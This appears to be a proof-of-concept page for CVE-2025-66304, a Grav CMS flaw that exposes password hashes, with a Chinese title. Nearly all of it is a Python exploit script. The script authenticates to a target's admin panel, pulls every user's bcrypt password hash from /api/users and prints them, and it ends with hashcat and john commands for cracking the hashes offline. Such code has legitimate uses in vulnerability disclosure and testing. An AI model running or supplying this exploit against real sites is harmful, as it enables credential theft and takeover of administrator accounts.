CVE-2025-66304: Grav CMS 用户密码哈希信息泄露漏洞

#!/usr/bin/env python3 # CVE-2025-66304 PoC - Grav CMS Password Hash Disclosure # This PoC demonstrates how an authenticated user with read access to user management # can retrieve password hashes of all users including admin import requests import json import sys target = "http://target-grav-site.com" username = "attacker" password = "attacker_password" def exploit(): # Step 1: Login to Grav admin panel session = requests.Session() login_url = f"{target}/admin/login" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed") return None print("[+] Successfully authenticated") # Step 2: Access user accounts API endpoint # This endpoint should return all user data including password hashes users_api = f"{target}/api/users" try: response = session.get(users_api, timeout=10) if response.status_code == 200: users_data = response.json() print("[+] Retrieved user data with password hashes") # Extract and display password hashes for user, data in users_data.items(): if 'password' in data: print(f"[USER] {user}") print(f"[HASH] {data['password']}") print("---") return users_data except Exception as e: print(f"[-] Error: {e}") return None def crack_hash(hash_value): """ After obtaining password hashes, attacker can perform offline attacks using tools like hashcat or john the ripper: hashcat -m 3200 -a 0 hash.txt wordlist.txt john --format=bcrypt hash.txt --wordlist=wordlist.txt """ print("[*] Use hashcat/john for offline password cracking") print(f"[*] Hash format: bcrypt (cost factor 10)") print(f"[*] Example: hashcat -m 3200 '{hash_value}' wordlist.txt") if __name__ == "__main__": print("[*] CVE-2025-66304 PoC - Grav CMS Password Hash Disclosure") print("[*] Target: " + target) exploit()